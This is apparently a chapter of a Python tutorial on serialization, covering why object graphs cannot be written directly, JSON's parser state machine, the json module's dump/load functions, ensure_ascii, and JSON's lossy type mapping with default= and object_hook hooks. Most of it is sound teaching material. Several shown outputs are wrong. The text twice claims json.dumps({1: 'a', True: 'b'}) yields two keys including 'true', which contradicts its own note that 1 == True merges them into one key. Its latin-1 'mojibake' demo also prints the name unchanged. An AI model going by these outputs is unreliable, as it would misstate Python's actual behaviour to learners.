◈ python mapVol 2 · Ch 18/30
Volume 2 Python, from the metal up · chapter 18

18Serialization — flattening the object graph

In Chapter 17 we watched a string dissolve into bytes. Every character became a code point, and every code point a run of UTF-8 the whole world can read back. In this one we try the same trick on something far less cooperative: a live Song object. It's the kind you built back in Chapter 15, closed the program on, and lost — gone, the way a thought is gone the instant you stop thinking it. Your instinct says the fix is one line: write the object to a file. But there is no the object to write. What we've been calling an object is a scattering of pointers into this one process's RAM, and RAM dies with the process. So here's the plan. We build the machine that survives that death. It walks the live object graph, flattens it into a self-contained ribbon of bytes, and rebuilds the same shape in a fresh process that shares none of the old addresses. Then we weigh the two great bargains that machine can strike. JSON keeps only what every language on Earth already agrees on. pickle keeps everything Python knows, including, alarmingly, the power to run code as it loads. And the whole way through we keep circling the one question that matters — if an object is really just addresses, and addresses die with the process, what is there left to save? By the end we've built the answer: a hand-owned bridge that flattens a Song to bytes, ships it, and reloads it as a real Song on the far side, every lossy seam labelled in code you can read. The one law under all of it: what crosses a process boundary is always bytes, never objects.

iolinked · chapter 18 — the checkpoints7 steps
$ sections covered in Serialization — flattening the object graph
01Why you can't just write the object
02JSON is a grammar a state machine parses
03JSON's value model is smaller than Python's
04The float wrinkle: IEEE-754 doesn't round-trip decimals
05pickle serializes the real graph, cycles and all
06Unpickling is code execution
07The dict-bridge for your own classes

01Why you can't just write the object

Let's start with what looks like the easy version of the problem. You have a song. It's right there. Print its title, ask for its artist, iterate its collaborators — it feels as solid as a rock on a desk. So the ask sounds trivial: take that rock, drop it in a file, let tomorrow's program pick it up again. Try it, and Python slaps your hand: TypeError: a bytes-like object is required, not 'Song'. Don't read that as Python being fussy. Read it as Python telling you a deep truth about what a Song actually is. And the moment you see it, serialization stops being a magic incantation you paste from Stack Overflow. It becomes the one inevitable answer to a problem you can finally state precisely.

Here's the truth, and it's worth slowing right down for. When you wrote song = Song("Roar", artist), the name song did not become a Song. It became a pointer: a single machine word, 8 bytes on a 64-bit build, holding a virtual address like 0x7f9c001a20. That number only means something inside this process's private address space. The kernel wired that space up with mmap and brk, and the MMU translates it page-by-page into physical RAM frames. Follow the pointer and you land on a PyObject header: a reference count, and ob_type, which is itself a pointer to the class object elsewhere on the heap. Next comes the instance's __dict__, which is yet another pointer to a dict living somewhere else again. That dict's values are more pointers: the title string at one address, the artist Song at a third, a list of collaborators at a fourth. The rock you pictured is really a directed graph whose edges are raw memory addresses.

what an object really ispython
>>> song = Song("Roar", artist)
>>> hex(id(song))        # the object itself…
'0x7f9c001a20'
>>> hex(id(song.title))  # …its title lives somewhere else entirely
'0x7f9c0b3410'
>>> hex(id(song.artist)) # …and its artist somewhere else again
'0x7f9c0018e0'

Now the killer fact, the one that makes the whole problem inescapable: those addresses are process-local and non-deterministic. Modern kernels use ASLR — address-space layout randomization — to hand your heap a different base address on every launch. The allocator then gives out whatever frame happens to be free at that instant. So write the raw 8 bytes of song, the pointer 0x7f9c001a20, to disk. Quit, reload tomorrow, and that number now points at unmapped memory. Worse, it may point at some unrelated data a fresh process happened to put there. Best case, a segfault. Worst case, silent garbage that looks almost right. And you cannot escape by writing the whole struct instead of the pointer. The struct is full of interior pointers — ob_type, __dict__, every value — and every one of them is equally dead on the far side.

In RAM — originalOn disk — bytesIn RAM — rebuiltsong0x7f9c…a20ob_refcnt: 2ob_type: Song__dict__str 'Roar'0x55a1b0Artist0x7f0288list [tags]0x48c910serializejson.dumps{"title":"Roar","artist":{ "name":"Katy" },"tags":["pop"]}no pointers,no addressesdeserializejson.loadssong0x3b11…0c8ob_refcnt: 1ob_type: dictkeysstr 'Roar'0x91002adict0x9104f0list [tags]0x9108b0same shape · all-new addresses · identity is not preserved
Fig — Serialization discards the live pointer graph — addresses collapse into flat bytes, and deserialization rebuilds an equal-valued object at brand-new addresses.

So what is the only move left? If the addresses are worthless outside this process, throw them away and keep what isn't local: the values and the structure. Walk every node reachable from the root. Emit a self-contained byte sequence that says what each leaf is and how the nodes nest, never where anything sits in memory. A fresh process reads that sequence, allocates brand-new objects at its own brand-new addresses, and re-wires new pointers into the same shape. That walk-and-emit is serialization. The inverse allocate-and-rewire is deserialization. This is exactly why you can memcpy an array of ints to disk and read it back: an int array is nothing but values, laid flat. But you can never do the same to an object graph, which is nothing but addresses.

THE ONE IDEA TO CARRY FORWARD
An object is a graph of addresses, and addresses are the one thing that cannot cross a process boundary. Serialization keeps the shape and the values, discards the addresses, and rebuilds new ones on the far side. Structure survives; location never does.
Wait — if two songs are recorded by the same artist, is that one artist object or two? In RAM it is one — a.artist is b.artist returns True, because both instances hold the same address. That sharing is an address fact. When you flatten the graph you have to decide whether the byte stream remembers it — and, as you'll see, JSON forgets it and pickle keeps it. The first real design choice of this whole chapter is hiding inside one is.

So the byte stream must describe values and nesting, never addresses. The oldest, most universal grammar for doing exactly that is JSON — six value types and a state machine that walks them. Next: how that machine reads a byte at a time, and why it explodes on a stray comma. →

02JSON is a grammar a state machine parses

You have typed json.loads('{"a":1}') a hundred times and it just works. Then one afternoon it throws json.decoder.JSONDecodeError: Expecting ',' delimiter: line 1 column 14 (char 13), and you have no model for why. If JSON is a mysterious blob format, that error is a coin flip and every fix is a guess. But JSON is not mysterious. It is a tiny, formally specified grammar — ECMA-404, RFC 8259. Once you can watch the machine that walks it, you can predict to the exact character what will parse and what will detonate.

The grammar has exactly six value types and no more: object, array, string, number, the literals true/false, and null. It is also recursive. A value may be an object whose values are themselves values, so nesting is unbounded — but the rules are finite and fixed. That combination, unbounded nesting under finite rules, is exactly what a pushdown automaton handles: a state machine plus a stack. The parser reads bytes strictly left to right. Its current state says which tokens are legal next. Its stack remembers how deep it is nested, so it can tell whether a closing brace shuts the container it actually opened. That stack is why it is pushdown and not merely a flat state machine. Matching brackets is impossible without one.

CPython's json module drives this with a C scanner, _json.scanner, that recognizes each value by its first byte. A { begins an object, [ an array, a " a string, t/f/n a literal, and a digit or - a number. Strings need no length prefix. They are self-delimiting: opened by ", closed by the next unescaped ", with \ introducing escapes like \n or \uXXXX. Watch the machine walk a real string, state by state:

the automaton in wordstext
# input:  { "a" : 1 }
{   push object onto stack   state → EXPECT-KEY-OR-CLOSE
"a" read string key         state → EXPECT-COLON
:   consume colon           state → EXPECT-VALUE
1   read number token       state → EXPECT-COMMA-OR-CLOSE
}   pop object off stack    stack empty → DONE

Now the errors write themselves. There is no trailing-comma rule, no comments, no single quotes, and keys must be double-quoted strings. That's not because someone forbade the alternatives. It's because the grammar simply has no production for them. Feed the machine {"a":1,} and after the comma it enters EXPECT-KEY, then sees } — a state with no legal transition on that byte. It cannot continue, so it raises JSONDecodeError and, crucially, reports the exact byte offset where the transition failed. Read column 14 not as noise but as a sentence: "the automaton was in state EXPECT-COMMA-OR-CLOSE and the byte at position 13 was not a comma or a brace." Suddenly the cryptic message is a precise diagnosis.

input bytes{"a":1}read-head advances one byte at a timeSTARTKEYCOLONVALUENEXT{key str:1}, (another pair)JSONDecodeErrorno transition on } (trailing comma)nesting stack{push on { or [pop on } or ]empty ⇒ done
Fig — The decoder is a state machine over bytes: a nesting stack tracks depth, and any byte with no legal transition — such as the one after a trailing comma — raises JSONDecodeError.
READ THE OFFSET, NOT THE VIBE
Every JSONDecodeError carries .pos, .lineno, and .colno. .pos is the exact byte the machine choked on. Slice your input at text[e.pos-5:e.pos+5] and you'll see the offending character in context every time — no guessing which of forty brackets is unbalanced.

And serialization — json.dumps — is simply this machine run in reverse. It is a recursive walk down the Python object that emits the grammar as it descends: printing a {, then each "key":, recursing into each value, weaving , between siblings, and closing with }. Encode and decode are the same grammar read two directions. One writes the string, one proves it.

SYNTAX · json — dumps / loads / dump / load, and the letter that changes everythingthe s means string; drop it and you are talking to a file — plus indent and sort_keys
json.dumps(obj) — object -> str. The 's' is for STRING. json.loads(text) — str -> object. json.dump(obj, f) — object -> FILE. No 's', returns None. json.load(f) — FILE -> object. json.dumps(obj, indent=2) — newlines + 2-space nesting, for humans json.dumps(obj, sort_keys=True) — keys alphabetical, so two dumps can be diffed json.dumps(obj, separators=(",", ":")) — the opposite knob: not one wasted byte with open(p, "w", encoding="utf-8") as f: — chapter 15's line, unchanged json.dump(obj, f, indent=2)
json.dumps / loadsThe pair that works in memory. One returns a str you can log, hash, or put in a database column; the other reads that string back.
json.dump / loadThe same two doors aimed at an open file object — not a path. They stream, so a large document never has to exist as one giant string.
indent=nTurns one dense line into a nested block. It costs real bytes, so use it for files a person opens and skip it for anything on a wire.
sort_keys=TrueOrders the keys alphabetically. That single flag is what makes two dumps of the same data byte-identical, which is what lets diff and checksums work.
separators=The compact form drops the space after every comma and colon. On a big payload that is a few percent off the wire for no loss at all.
the six types, both waysdict, list, str, int, float, bool, None go out as object, array, string, number, number, true/false, null — and come back as the same Python types.
encoding on the filejson.dump writes text through your file object, so the codec is your open() call's job, not json's. Chapter 15's habit carries over untouched.
you type
# json_doors.py -- the four doors of the json module, and the type map both ways
import json
from pathlib import Path

track = {"title": "Levels", "artist": "Avicii", "secs": 203,
         "tags": ["house", "edm"], "live": False, "bpm": 126.0, "notes": None}

text = json.dumps(track)                        # door 1: object -> str
print("dumps      :", text)
print("that is a  :", type(text).__name__, "of", len(text), "characters")

back = json.loads(text)                         # door 2: str -> object
print("loads      :", type(back).__name__, "| equal to the original:", back == track)
print("but not the same object:", back is track)

print()
print("indent=2, sort_keys=True:")
print(json.dumps(track, indent=2, sort_keys=True))

p = Path("track.json")
with open(p, "w", encoding="utf-8", newline="\n") as f:   # ch 15's habits, kept
    json.dump(track, f, indent=2)               # door 3: object -> FILE (no 's')
with open(p, "r", encoding="utf-8") as f:
    from_file = json.load(f)                    # door 4: FILE -> object
print()
print("file bytes :", p.stat().st_size)
print("file round-trip:", from_file == track)

print()
print(f"{'python in':<16} {'json text':<18} {'python out':<12}")
for value in [{"a": 1}, [1, 2], "hi", 7, 2.5, True, None]:
    out = json.dumps(value)
    print(f"{str(value):<16} {out:<18} {type(json.loads(out)).__name__:<12}")

p.unlink()
you see
dumps      : {"title": "Levels", "artist": "Avicii", "secs": 203, "tags": ["house", "edm"], "live": false, "bpm": 126.0, "notes": null}
that is a  : str of 122 characters
loads      : dict | equal to the original: True
but not the same object: False

indent=2, sort_keys=True:
{
  "artist": "Avicii",
  "bpm": 126.0,
  "live": false,
  "notes": null,
  "secs": 203,
  "tags": [
    "house",
    "edm"
  ],
  "title": "Levels"
}

file bytes : 150
file round-trip: True

python in        json text          python out  
{'a': 1}         {"a": 1}           dict        
[1, 2]           [1, 2]             list        
hi               "hi"               str         
7                7                  int         
2.5              2.5                float       
True             true               bool        
None             null               NoneType    
where beginners trip
  • json.dump(obj, "out.json") raises AttributeError: 'str' object has no attribute 'write'. It wants the handle, not the path.
  • dumps returns a string; dump returns None. Writing text = json.dump(o, f) leaves you holding nothing.
  • A round trip gives you a new object. back == track is True and back is track is False, every time.
  • json.dumps("hi") is a four-character string — the quotes are inside it. A JSON string is not a Python string until you loads it.
  • json.load(f) consumes the whole file as one document. Reading a file line by line only works if you wrote JSON Lines on purpose.
  • The indent= output ends without a trailing newline. If you want one, write it yourself — some tools care.
  • f.write(json.dumps(obj, indent=4)) works, and builds the whole document in memory first. json.dump(obj, f, indent=4) streams it instead.
Wait — json.loads(' {"a": 1} ') tolerates the surrounding spaces, but json.loads('{"a": 1} garbage') raises Extra data: line 1 column 10. Whitespace between tokens is a legal transition the machine silently absorbs; a non-whitespace byte after the top-level value is not — the automaton reached DONE and then found more input it has no state for. Even "there's junk on the end" is just an illegal transition with a name.

The machine is exact — but it only knows six types. Your Python has hundreds. What happens when a tuple, a set, or a datetime tries to cross a border that has no room for it? Next: the lossy projection from Python's universe down onto JSON's six. →

SYNTAX · ensure_ascii — why your JSON file is full of \u00f6the default escapes every non-ASCII character; one keyword turns it off, and chapter 17's codec rule still applies
json.dumps(obj) — DEFAULT: every non-ASCII char becomes \uXXXX json.dumps(obj, ensure_ascii=False) — the characters themselves json.loads(text) — reads BOTH forms into the same str with open(p, "w", encoding="utf-8") as f: — ch 17: the FILE's codec json.dump(obj, f, ensure_ascii=False, indent=2) — two separate decisions: what json escapes, and what the file encodes.
ensure_ascii=TrueThe default. Every character above U+007F is written as a \uXXXX escape, so the output survives any seven-bit pipe in the world.
ensure_ascii=FalseWrites the character itself. The file gets shorter and a human can read it — and now the file's codec matters, because the bytes are no longer ASCII.
both parse the same\u00f6 is JSON's own escape, defined by the grammar. Any parser in any language turns it back into ö, so the two forms are the same data.
what it costsOur three-field song is 76 characters escaped and 51 unescaped — but 76 bytes versus 59, because ö costs two UTF-8 bytes and \u00f6 costs six ASCII ones.
the encoding= is separatejson never touches bytes. It hands a str to your file object, and your open() chooses the codec — exactly the wall chapter 17 built.
astral charactersAbove U+FFFF the escape becomes a surrogate pair: 🌍 is written \ud83c\udf0d. Two escapes, one character — JSON inherited that from UTF-16.
the wrong key on readOpen the file as latin-1 and Björk comes back Björk. Valid JSON, wrong codec, mojibake — chapter 17's bug, one layer up.
you type
# json_unicode.py -- what json does to non-ASCII text, and the one knob that stops it
import json
from pathlib import Path

song = {"title": "Jóga", "artist": "Björk", "note": "さくら"}

escaped  = json.dumps(song)                        # ensure_ascii=True is the DEFAULT
readable = json.dumps(song, ensure_ascii=False)    # the characters themselves
print("default        :", escaped)
print("ensure_ascii=F :", readable)
print("same data      :", json.loads(escaped) == json.loads(readable) == song)

print()
print("characters     :", len(escaped), "vs", len(readable))
print("utf-8 bytes    :", len(escaped.encode("utf-8")), "vs", len(readable.encode("utf-8")))
print("ascii bytes    :", len(escaped.encode("ascii")), "vs", "UnicodeEncodeError")

p = Path("song.json")
with open(p, "w", encoding="utf-8", newline="\n") as f:   # ch 17: NAME the codec
    json.dump(song, f, ensure_ascii=False, indent=2)
print()
print("on disk        :", p.stat().st_size, "bytes")
print(p.read_text(encoding="utf-8"))

with open(p, "r", encoding="utf-8") as f:
    print("read back      :", json.load(f) == song)

with open(p, "r", encoding="latin-1") as f:              # the wrong key, ch 17's mojibake
    print("wrong codec    :", json.load(f)["artist"])

p.unlink()
you see
default        : {"title": "J\u00f3ga", "artist": "Bj\u00f6rk", "note": "\u3055\u304f\u3089"}
ensure_ascii=F : {"title": "Jóga", "artist": "Björk", "note": "さくら"}
same data      : True

characters     : 76 vs 51
utf-8 bytes    : 76 vs 59
ascii bytes    : 76 vs UnicodeEncodeError

on disk        : 67 bytes
{
  "title": "Jóga",
  "artist": "Björk",
  "note": "さくら"
}
read back      : True
wrong codec    : Björk
where beginners trip
  • ensure_ascii=False without encoding="utf-8" on the file is the classic Windows crash: UnicodeEncodeError from cp1252.
  • The escaped form is already ASCII, so .encode("ascii") works on it and fails on the readable one. That asymmetry is the whole trade.
  • Escapes are case-insensitive in the grammar but Python always emits lowercase hex. Do not compare JSON text for equality; compare the parsed objects.
  • ensure_ascii only affects output. json.loads always decodes \uXXXX, so you never need a flag on the way in.
  • This knob changes nothing about the data and everything about the file. Pick False plus utf-8 for anything a human will open.
  • A BOM is not JSON. If a file starts with \ufeff, json.loads raises; open it with encoding="utf-8-sig" to strip it.

03JSON's value model is smaller than Python's

You round-trip a Song through JSON and get a bug that never crashes. The tuple of genres came back a list. A dict you had keyed by (row, col) tuples refuses to encode at all. The set of tags is simply gone. Nothing threw a loud error at the moment that mattered. The data just quietly changed shape under you. To stop being ambushed by this, you have to internalize one fact and let it reorganize how you think about the boundary: JSON's universe has only six types, so everything richer in Python must be projected down onto them, and that projection is lossy by design, not by accident.

⚠ MOST BEGINNERS THINK…you fixed the loud one, and shipped the quiet one
Fine — six types, and my Python has hundreds. I accept that some things will not fit. But the encoder tells me when they don't: a set raises TypeError the instant the walk meets it. So I will let the exception be my schema check. If dumps hands me back a string, everything survived; if it raises, nothing was written.
TYPE THIS — 10 SECONDS
>>> import json
>>> json.dumps({"genres": ("pop", "rock")})     # a tuple. Not one word of complaint.
>>> type(json.loads(json.dumps({"genres": ("pop", "rock")}))["genres"])   # tuple in, list out
>>> f = open("song.json", "w")
>>> try: json.dump({"title": "Roads", "plays": 3, "tags": {"trip-hop"}}, f)
... except TypeError as e: print("raised:", e)
...
>>> f.close(); open("song.json").read()
'{"genres": ["pop", "rock"]}'
<class 'list'>
raised: Object of type set is not JSON serializable
'{"title": "Roads", "plays": 3, "tags": '
Both halves of the belief fail in the same short transcript, and they fail for the same reason. Take the silent half first: line three put a tuple in and took a list back out in a single expression, and nothing squeaked, because nothing went wrong. A tuple is not a type json refused; it is a type json succeeded at, by writing the only sequence the grammar has. The exception is therefore not a completeness check — the encoder raises only where no projection exists at all, and takes the lossy one in silence wherever one does. Now the second half, and read the last line before you decide it is a typo. The raise did not undo anything: the file holds {"title": "Roads", "plays": 3, "tags": — thirty-nine bytes of a document that will never parse, stopped between a key and the value it never got. That is section 02's machine run in reverse doing exactly what section 02 said it does. json.dump is a recursive walk that emits as it descends, so by the time it reaches the set it has already handed two finished pairs and a third key to your file object, and closing the handle — the f.close() above, or a with block's exit — flushes them to disk. Two labelled refinements, so this is not a half-truth. First, the truncation belongs to dump, not to json: we ran the same failure through f.write(json.dumps(song)) and the file came out 0 bytes, because that route builds the entire string in memory before a single byte is written. Streaming is what buys you a huge document you never have to hold at once, and the torn file is its price — which is why the durable save from chapter 16 writes to a temp name and renames it into place. Second, where it tears is one run's detail; that it tears is not: swap the dict's key order and the cut lands somewhere else, and the exact figure of thirty-nine is this dict's, not a constant. What survives every run is the direction — the refusal happens after the bytes already emitted, never before, so a serializer exception tells you nothing about the state of the file it was writing into.

Python's type system is vastly larger than JSON's six, so the encoder maps many-to-few, and mapping many onto few must destroy information. Three concrete collisions matter most. First, tuple and list both become the JSON array. The array has no concept of immutability, so json.loads(json.dumps((1, 2))) hands you back [1, 2]. The tuple-ness is gone, because the grammar has exactly one sequence type and both Python sequences fold into it. Second, object keys must be strings. At the grammar level a JSON key is a string, with no other option. So json.dumps quietly coerces int, float, bool, and None keys to their string form, and flatly refuses tuple keys:

keys get coerced or rejectedpython
>>> import json
>>> json.dumps({1: "a", True: "b"})   # int and bool keys…
'{"1": "a", "true": "b"}'          # …silently become strings
>>> json.dumps({(0, 0): "origin"})    # a tuple key has no string form
TypeError: keys must be str, int, float, bool or None, not tuple

Third, and most sharply: set, frozenset, bytes, bytearray, complex, Decimal, datetime, and every class you ever wrote have no JSON type at all. There is nothing to project onto. When the C encoder walks your object and reaches a value whose type isn't in its small known-type table, it calls the default hook. The built-in default does exactly one thing: it raises. That is the origin of the message you'll see a thousand times, TypeError: Object of type set is not JSON serializable. It is not the encoder being lazy. It is the encoder being honest that no correct answer exists in the target grammar.

SYNTAX · what json.dumps does with a type it does not knowtuples quietly become lists, keys quietly become strings, the rest raises — and default= is your hook
json.dumps((1, 2)) — tuple -> array. Comes back a LIST. json.dumps({1: "a"}) — int key -> "1". Comes back a STR key. json.dumps({"x"}) — TypeError: Object of type set is not JSON serializable json.dumps(datetime) — TypeError: ... datetime is not JSON serializable json.dumps({(0,0): "x"}) — TypeError: keys must be str, int, float, bool or None json.dumps(obj, default=fn) — fn(o) is called for every VALUE dumps cannot map; return something JSON-safe, or raise TypeError yourself
tuple → array → listJSON has exactly one sequence type, so both Python sequences fold into it. The trip out is fine; the trip back cannot tell them apart.
keys → str1, 2.5, False and None become "1", "2.5", "false" and "null". Your integer lookup then raises KeyError on the far side.
the honest refusalsset, datetime, bytes, complex, Decimal and your own classes raise TypeError. Nothing is guessed, which is the encoder being kind.
a tuple key is differentIt raises even though a tuple value does not. A key must have a string form, and (0, 0) has no obvious one — so json refuses rather than invent.
default=fnYour rule for their type. json calls it once per unmappable value, and whatever JSON-safe thing you return is encoded in its place.
what default= does not coverIt is never called for keys. A tuple key raises with or without the hook, because the failure happens before any value is looked at.
the direction that has no hookNothing on the way back knows ["pop","rock"] was once a tuple. If a type matters to you, re-impose it in your own loader.
you type
# json_limits.py -- three things json does to types that do not fit, and the escape hatch
import json
from datetime import date

pair = ("pop", "rock")
print("tuple in   :", pair, "->", type(pair).__name__)
print("json text  :", json.dumps(pair))
out = json.loads(json.dumps(pair))
print("tuple out  :", out, "->", type(out).__name__, " <- the tuple-ness is gone")

keys = {1: "one", 2.5: "half", False: "no", None: "none"}
print()
print("dict in    :", keys)
print("json text  :", json.dumps(keys))
print("dict out   :", json.loads(json.dumps(keys)), " <- every key is a str now")

print()
for value in [{"edm", "house"}, date(2026, 7, 12), b"raw", 3 + 4j]:
    try:
        json.dumps(value)
    except TypeError as e:
        print(f"{type(value).__name__:<8} -> TypeError: {e}")

def leaf(o):                               # YOUR rule for a type json has never met
    if isinstance(o, set):
        return sorted(o)
    if isinstance(o, date):
        return o.isoformat()
    raise TypeError(f"no rule for {type(o).__name__}")

print()
song = {"title": "Levels", "tags": {"house", "edm"}, "released": date(2011, 10, 28)}
print("default=   :", json.dumps(song, default=leaf))
try:
    json.dumps({"x": 3 + 4j}, default=leaf)
except TypeError as e:
    print("still open :", e)
you see
tuple in   : ('pop', 'rock') -> tuple
json text  : ["pop", "rock"]
tuple out  : ['pop', 'rock'] -> list  <- the tuple-ness is gone

dict in    : {1: 'one', 2.5: 'half', False: 'no', None: 'none'}
json text  : {"1": "one", "2.5": "half", "false": "no", "null": "none"}
dict out   : {'1': 'one', '2.5': 'half', 'false': 'no', 'null': 'none'}  <- every key is a str now

set      -> TypeError: Object of type set is not JSON serializable
date     -> TypeError: Object of type date is not JSON serializable
bytes    -> TypeError: Object of type bytes is not JSON serializable
complex  -> TypeError: Object of type complex is not JSON serializable

default=   : {"title": "Levels", "tags": ["edm", "house"], "released": "2011-10-28"}
still open : no rule for complex
where beginners trip
  • {1: "a", True: "b"} is one key before json ever sees it — 1 == True in Python, so the dict is {1: 'b'}.
  • json.dumps(3.0) is '3.0' and json.dumps(3) is '3'. One dot is the only thing carrying int-versus-float across.
  • float("nan") dumps as NaN, which is not valid JSON. Other languages reject it; pass allow_nan=False to get a ValueError at home instead.
  • A default= that returns a non-JSON type just raises again, one level deeper. Return leaves, not more objects.
  • The set failure is loud and the tuple failure is silent. The loud one you fix today; the silent one you meet in production.
  • Do not reach for str(o) as a lazy default=. It always succeeds and it is never reversible — a set becomes the text "{'a'}" forever.
Every Python objectJSON — 6 typesobject ← dict (str keys)array ← list / tuplestring ← strnumber ← int / floattrue / false ← boolnull ← Nonethe "safe" overlap — round-tripstuple→ arraysetbytescomplexdatetimeDecimalno target —you must encodegreen = round-trips as-is · red ✗ = TypeError until you convert it yourself
Fig — JSON has only six types: list and tuple both collapse to array and dict keys must be strings, while set, bytes, complex and datetime have no target and must be hand-encoded.

Why would anyone design a format this small? Because smallness is the feature. JSON exists to cross language boundaries — from a Python service to a Go service to a browser's JavaScript to a Postgres jsonb column. So the only types it dares include are the ones every one of those languages already agrees on. A Python set or a Ruby Symbol or a Go chan has no counterpart in the others, so JSON refuses to pretend it does. The lowest common denominator is the whole point.

NOW WRITE IT YOURSELFfix the tuple surprise — predict the type on the far side, then prove it
First, predict before you run. Write rt(value) that does json.loads(json.dumps(value)), then build a table over ("pop", "rock"), ["pop", "rock"], 203, 203.0, True and None. For each row write down, on paper, the type you expect back — then print type(value) is type(out) and check. Exactly one row is False, and you should be able to say why from the grammar alone. Second, make the loss actually bite. Round-trip {"genres": ("pop", "rock"), "sizes": {3: "short", 7: "long"}}, then do two things the original forbade: .append() to what used to be a tuple, and look up ["sizes"][3] with an integer. One succeeds when it should not and one raises; print both, and name which of JSON's six types caused each. Third, write the inverse. Write rebuild(d) that puts the types back — tuple() around the genres, int(k) across the size keys — and assert that rebuild(rt(cfg)) == cfg. That function is the whole lesson: the file cannot remember your types, so the loader has to. One hint and no more: the KeyError prints as 3, not '3', because it is echoing the key you asked for and not the one that is there.
show the solution
# tuple_surprise.py -- predict the type on the far side, prove it, then re-impose it
import json


def rt(value):                                   # one round trip, out and back
    return json.loads(json.dumps(value))


CASES = [("a tuple", ("pop", "rock")), ("a list", ["pop", "rock"]),
         ("an int", 203), ("a float", 203.0), ("a bool", True), ("nothing", None)]

print(f"{'case':<12}{'you sent':<10}{'you get':<10}same type?")
for name, value in CASES:
    out = rt(value)
    print(f"{name:<12}{type(value).__name__:<10}{type(out).__name__:<10}{type(value) is type(out)}")

# ---- why the tuple row is the one that bites ----
cfg = {"genres": ("pop", "rock"), "sizes": {3: "short", 7: "long"}}
back = rt(cfg)
print()
print("sent  :", cfg)
print("back  :", back)

back["genres"].append("jazz")                    # a tuple would have refused this
print("mutated:", back["genres"], "- immutability was a promise the file could not keep")
try:
    back["sizes"][3]
except KeyError as e:
    print("KeyError:", e, "- the key you stored as int 3 came back as the str '3'")


# ---- the fix: you re-impose the types you know you wrote ----
def rebuild(d):
    return {"genres": tuple(d["genres"][:2]),
            "sizes": {int(k): v for k, v in d["sizes"].items()}}


fixed = rebuild(back)
print()
print("rebuilt:", fixed)
print("equal  :", fixed == cfg, "| genres is a", type(fixed["genres"]).__name__,
      "| sizes[3] =", fixed["sizes"][3])

# ------------- what it prints -------------
case        you sent  you get   same type?
a tuple     tuple     list      False
a list      list      list      True
an int      int       int       True
a float     float     float     True
a bool      bool      bool      True
nothing     NoneType  NoneType  True

sent  : {'genres': ('pop', 'rock'), 'sizes': {3: 'short', 7: 'long'}}
back  : {'genres': ['pop', 'rock'], 'sizes': {'3': 'short', '7': 'long'}}
mutated: ['pop', 'rock', 'jazz'] - immutability was a promise the file could not keep
KeyError: 3 - the key you stored as int 3 came back as the str '3'

rebuilt: {'genres': ('pop', 'rock'), 'sizes': {3: 'short', 7: 'long'}}
equal  : True | genres is a tuple | sizes[3] = short

# The one honest sentence to take away:
#   json.dumps is lossy on the way OUT, and json.loads has no way to un-lose it.
#   Every type that matters to your program must be re-imposed by code you wrote --
#   which is exactly the to_dict / from_dict bridge this chapter builds in section 7.
THE LOSS IS SILENT, WHICH IS WHY IT BITES
A tuple degrading to a list does not raise. Your code runs, ships, and only fails three functions later when something calls .add() on what it assumed was a set. Assume every non-JSON type is either coerced or rejected, and decide which on purpose — never let the encoder decide for you by accident.

The consequence lands squarely on you. Anything outside the six types is your responsibility to encode, and there is no automatic right answer because the target type genuinely does not exist on the far side. A set could become a sorted list, or a list plus a "__set__" marker, or something else. You pick the projection, and you own the inverse. The encoder gives you a hook to do it. json.dumps(value, default=fn) calls your fn on every object it doesn't recognize, and whatever JSON-safe value you return gets encoded in its place.

NOW WRITE IT YOURSELFthe datetime default — write the hook, then write its inverse
First, watch it refuse. Build played = {"track": "Levels", "at": datetime(2026, 7, 12, 21, 30, 5), "day": date(2011, 10, 28), "tags": {"house", "edm"}} and call json.dumps on it inside a try. Print the TypeError exactly as it comes — it names the first type that stopped the walk, not all of them. Second, write encode_leaf(o). Handle datetime, date and set, and raise TypeError for anything else, because a hook that silently swallows unknown types is worse than no hook. Test datetime before date and say in one line why the other order is a bug. Return a tagged dict — {"__type__": "datetime", "iso": ...} — rather than a bare string, so the far side can tell a date from a name that happens to look like one. Third, write the way back. json.loads takes object_hook=fn, which runs on every object it builds. Write decode_leaf to switch on __type__ and rebuild the real value, then assert the round trip is True and that type(back["at"]) really is datetime. Finish by dumping a complex through your hook and printing the refusal — a hook covers the types you named and not one more. One hint and no more: isinstance(datetime(...), date) is True, because datetime subclasses date.
show the solution
# datetime_default.py -- teach json.dumps one new type, then teach json.loads the way back
import json
from datetime import datetime, date

played = {"track": "Levels",
          "at": datetime(2026, 7, 12, 21, 30, 5),
          "day": date(2011, 10, 28),
          "tags": {"house", "edm"}}

try:
    json.dumps(played)
except TypeError as e:
    print("no rule    :", e)


def encode_leaf(o):                    # json calls this ONLY for types it cannot map
    if isinstance(o, datetime):        # datetime first: it is a subclass of date
        return {"__type__": "datetime", "iso": o.isoformat()}
    if isinstance(o, date):
        return {"__type__": "date", "iso": o.isoformat()}
    if isinstance(o, set):
        return {"__type__": "set", "items": sorted(o)}
    raise TypeError(f"json has no rule for {type(o).__name__}")


text = json.dumps(played, default=encode_leaf, sort_keys=True)
print()
print("encoded    :", text)


def decode_leaf(d):                    # json calls this for EVERY object it builds
    kind = d.get("__type__")
    if kind == "datetime":
        return datetime.fromisoformat(d["iso"])
    if kind == "date":
        return date.fromisoformat(d["iso"])
    if kind == "set":
        return set(d["items"])
    return d


back = json.loads(text, object_hook=decode_leaf)
print()
print("at         :", repr(back["at"]))
print("day        :", repr(back["day"]))
print("tags       :", back["tags"] == played["tags"], "| a real", type(back["tags"]).__name__)
print("round-trip :", back == played)

try:
    json.dumps({"price": 3 + 4j}, default=encode_leaf)
except TypeError as e:
    print()
    print("still open :", e, "- a hook covers the types you named, and no others")

# ------------- what it prints -------------
no rule    : Object of type datetime is not JSON serializable

encoded    : {"at": {"__type__": "datetime", "iso": "2026-07-12T21:30:05"}, "day": {"__type__": "date", "iso": "2011-10-28"}, "tags": {"__type__": "set", "items": ["edm", "house"]}, "track": "Levels"}

at         : datetime.datetime(2026, 7, 12, 21, 30, 5)
day        : datetime.date(2011, 10, 28)
tags       : True | a real set
round-trip : True

still open : json has no rule for complex - a hook covers the types you named, and no others

# Why the tagged dict, and not just the ISO string:
#   "2011-10-28" is a perfectly good str, so a plain isoformat() round-trips to a str
#   and your code silently loses the type. The __type__ tag is the one bit of
#   information JSON cannot infer -- so you write it down on purpose.
Wait — json.dumps(1) == json.dumps(True)? No — '1' versus 'true'. But json.dumps({1: 'x', True: 'y'}) is '{"1": "x", "true": "y"}' — two distinct keys, even though 1 == True and hash(1) == hash(True) in Python. Values keep the type distinction; keys nearly lose it. The same bool sits on two sides of the same grammar and gets rendered two different ways.

Even inside the six safe types, one hides a trap. A JSON number looks like a plain decimal, but under it sits a 64-bit float — and floats cannot represent 0.1. Next: the IEEE-754 wrinkle that quietly loses a penny across a service boundary. →

